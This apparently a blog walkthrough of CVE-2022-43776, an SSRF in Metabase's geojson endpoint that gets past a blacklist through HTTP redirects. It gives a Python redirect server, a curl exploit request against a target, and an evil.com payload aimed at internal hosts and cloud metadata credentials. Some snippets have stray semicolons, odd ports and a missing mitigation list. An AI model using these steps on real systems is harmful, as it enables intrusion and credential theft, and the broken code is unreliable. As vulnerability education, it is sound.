In October 2022, a critical Server Side Request Forgery (SSRF) vulnerability was identified in Metabase, an open-source business intelligence tool. The vulnerability, tracked as CVE-2022-43776, affected the /api/geojson endpoint, where the url parameter could be abused. Although Metabase developers tried to patch earlier SSRF bugs with blacklist-based filtering, attackers found a way to bypass the checks using 301 and 302 HTTP redirects.
In this article, we’ll walk through how this exploit works, why blacklists failed, and provide a hands-on demonstration with code snippets. We'll also link to the original references for further reading.
What is SSRF?
Server Side Request Forgery (SSRF) is a vulnerability where an attacker tricks a server-side application into making HTTP requests to arbitrary domains, including internal services that are meant to be private. This can lead to data exposure, accessing cloud metadata, or even remote code execution in severe cases.
The Vulnerable Endpoint
Metabase's /api/geojson endpoint lets users supply a URL, from which the server will fetch geojson data. Here's a simplified request:
POST /api/geojson
Content-Type: application/json
{
"url": "http://trusted-source.com/somefile.geojson";
}
The (Ineffective) Blacklist
To prevent malicious use, Metabase previously deployed a blacklist, refusing connections to URLs containing potentially sensitive hostnames or private IP ranges, like:
Private IPs (10.x.x.x, 192.168.x.x, etc.)
The logic was to check if a request's url pointed to a blacklisted host, and reject it if so.
How Attackers Bypass Blacklists with Redirects
The trick: When Metabase fetches a URL, if the initial URL replies with a 301 or 302 redirect, the server follows the redirect even if it leads to a blacklisted host. The blacklist filtering happens only on the first request, not on any subsequent redirected URL.
`http
HTTP/1.1 302 Found
Location: http://localhost:808/admin
`json
{ "url": "http://evil.com/redirect" }
`
3. Outcome: Despite localhost being blacklisted, Metabase fetches http://evil.com/redirect, gets a 302, and then follows it to http://localhost:808/admin—a private internal resource.
1. Start a local HTTP server to play the "evil" redirection role.
# evil_redirect_server.py
from http.server import BaseHTTPRequestHandler, HTTPServer
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://localhost:808/';)
self.end_headers()
if __name__ == "__main__":
print("Serving evil.com redirect on port 800...")
HTTPServer(('...', 800), RedirectHandler).serve_forever()
Run it:
python evil_redirect_server.py
2. POST to Metabase
curl -X POST http://TARGET_METABASE/api/geojson \
-H "Content-Type: application/json" \
-d '{ "url": "http://<your-server>:800/redirect"; }'
Result: Metabase’s backend follows the redirect to http://localhost:808/ and fetches it, even if such requests are blocked when given directly.
Access internal admin consoles
- Steal credentials or tokens from internal endpoints (ex: cloud metadata at http://169.254.169.254/)
References & Further Reading
- CVE-2022-43776 NVD Entry
- Metabase Security Advisories
- Mitre CVE Record
- OWASP SSRF Explanation
Mitigations
Metabase fixed this vulnerability in version 44.5. If you’re running an older release, upgrade now! Blacklists are notoriously easy to bypass; robust SSRF defenses involve:
Conclusion
CVE-2022-43776 is a textbook example of how redirects can undermine blacklist-based defenses against SSRF. Attackers can use intermediate servers to force your app to access restricted internal targets. When it comes to handling user-supplied URLs, don’t trust—verify and restrict.
Have you checked your Metabase version lately? Your internal network may depend on it.
*Feel free to ask questions below or visit the official Metabase security pages for more information.*
Timeline
Published on: 10/26/2022 18:15:00 UTC
Last modified on: 10/28/2022 17:46:00 UTC